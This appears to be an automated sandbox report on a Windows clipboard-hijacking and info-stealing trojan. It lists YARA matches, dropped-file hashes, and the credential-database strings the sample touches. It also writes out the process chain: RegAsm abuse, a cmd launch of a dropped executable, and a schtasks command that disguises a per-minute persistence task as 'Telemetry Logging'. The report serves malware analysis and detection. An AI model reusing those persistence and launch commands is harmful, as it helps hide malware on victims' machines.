Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C317710	2_2_6C317710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2E9F00	2_2_6C2E9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3277A0	2_2_6C3277A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C306FF0	2_2_6C306FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2DDFE0	2_2_6C2DDFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C31B820	2_2_6C31B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C324820	2_2_6C324820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2E7810	2_2_6C2E7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C31F070	2_2_6C31F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2F8850	2_2_6C2F8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2FD850	2_2_6C2FD850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3060A0	2_2_6C3060A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2FC0E0	2_2_6C2FC0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3158E0	2_2_6C3158E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3450C7	2_2_6C3450C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C32B970	2_2_6C32B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C34B170	2_2_6C34B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2ED960	2_2_6C2ED960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2FA940	2_2_6C2FA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C30D9B0	2_2_6C30D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2DC9A0	2_2_6C2DC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C315190	2_2_6C315190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C332990	2_2_6C332990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C319A60	2_2_6C319A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C342AB0	2_2_6C342AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2D22A0	2_2_6C2D22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C304AA0	2_2_6C304AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2ECAB0	2_2_6C2ECAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C34BA90	2_2_6C34BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C31E2F0	2_2_6C31E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2F1AF0	2_2_6C2F1AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C318AC0	2_2_6C318AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C31D320	2_2_6C31D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2EC370	2_2_6C2EC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2D5340	2_2_6C2D5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2DF380	2_2_6C2DF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3453C8	2_2_6C3453C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C446C00	2_2_6C446C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C38AC60	2_2_6C38AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C45AC30	2_2_6C45AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3DECD0	2_2_6C3DECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C37ECC0	2_2_6C37ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C4AAD50	2_2_6C4AAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C44ED70	2_2_6C44ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C508D20	2_2_6C508D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C384DB0	2_2_6C384DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C50CDC0	2_2_6C50CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C416D90	2_2_6C416D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C41EE70	2_2_6C41EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C460E20	2_2_6C460E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C420EC0	2_2_6C420EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C406E90	2_2_6C406E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C38AEC0	2_2_6C38AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C386F10	2_2_6C386F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C442F70	2_2_6C442F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C4C0F20	2_2_6C4C0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3EEF40	2_2_6C3EEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C38EFB0	2_2_6C38EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C45EFF0	2_2_6C45EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C380FE0	2_2_6C380FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C4C8FB0	2_2_6C4C8FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C454840	2_2_6C454840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3D0820	2_2_6C3D0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C40A820	2_2_6C40A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C4868E0	2_2_6C4868E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3D6900	2_2_6C3D6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3B8960	2_2_6C3B8960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C49C9E0	2_2_6C49C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3B49F0	2_2_6C3B49F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C4109A0	2_2_6C4109A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C43A9A0	2_2_6C43A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C4409B0	2_2_6C4409B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C42EA00	2_2_6C42EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3FCA70	2_2_6C3FCA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C438A30	2_2_6C438A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3FEA80	2_2_6C3FEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C388BAC	2_2_6C388BAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C486BE0	2_2_6C486BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C420BA0	2_2_6C420BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3E4420	2_2_6C3E4420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C398460	2_2_6C398460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C40A430	2_2_6C40A430

Source: Joe Sandbox View	Dropped File: C:\ProgramData\HJJDGHCBGD.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C50DAE0 appears 31 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00404610 appears 316 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C30CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C3194D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C5009D0 appears 121 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000000.1662990474.0000000000A64000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVQP.exe` vs file.exe
Source: file.exe, 00000000.00000002.1666020082.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameVQP.exe` vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 8.2.HJJDGHCBGD.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 8.2.HJJDGHCBGD.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 11.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 11.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000B.00000002.2910452418.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000B.00000002.2910452418.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000008.00000002.2379318946.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000008.00000002.2379318946.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe, wfuiQLTtHXbQiC1ZxG.cs	Cryptographic APIs: 'CreateDecryptor'
Source: file.exe, wfuiQLTtHXbQiC1ZxG.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@16/26@1/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_6C337030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

2_2_6C337030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00418120 CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification,

2_2_00418120

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7436:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Mutant created: \Sessions\1\BaseNamedObjects\jW5fQ5e-C7lR7tC1q
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8148:120:WilError_03

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000002.00000002.2390906860.000000001B384000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2401574869.000000006C50F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2400696024.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000002.00000002.2390906860.000000001B384000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2401574869.000000006C50F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2400696024.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000002.00000002.2390906860.000000001B384000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2401574869.000000006C50F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2400696024.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000002.00000002.2390906860.000000001B384000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2401574869.000000006C50F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2400696024.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2390906860.000000001B384000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2401574869.000000006C50F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2400696024.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000002.00000002.2390906860.000000001B384000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2400696024.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000002.00000002.2390906860.000000001B384000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2401574869.000000006C50F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2400696024.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: IIIJECAEGDHIDHJKKKKF.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000002.00000002.2390906860.000000001B384000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2400696024.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000002.00000002.2390906860.000000001B384000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2400696024.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\HJJDGHCBGD.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\HJJDGHCBGD.exe "C:\ProgramData\HJJDGHCBGD.exe"
Source: C:\ProgramData\HJJDGHCBGD.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\HJJDGHCBGD.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\HJJDGHCBGD.exe "C:\ProgramData\HJJDGHCBGD.exe"	Jump to behavior
Source: C:\ProgramData\HJJDGHCBGD.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
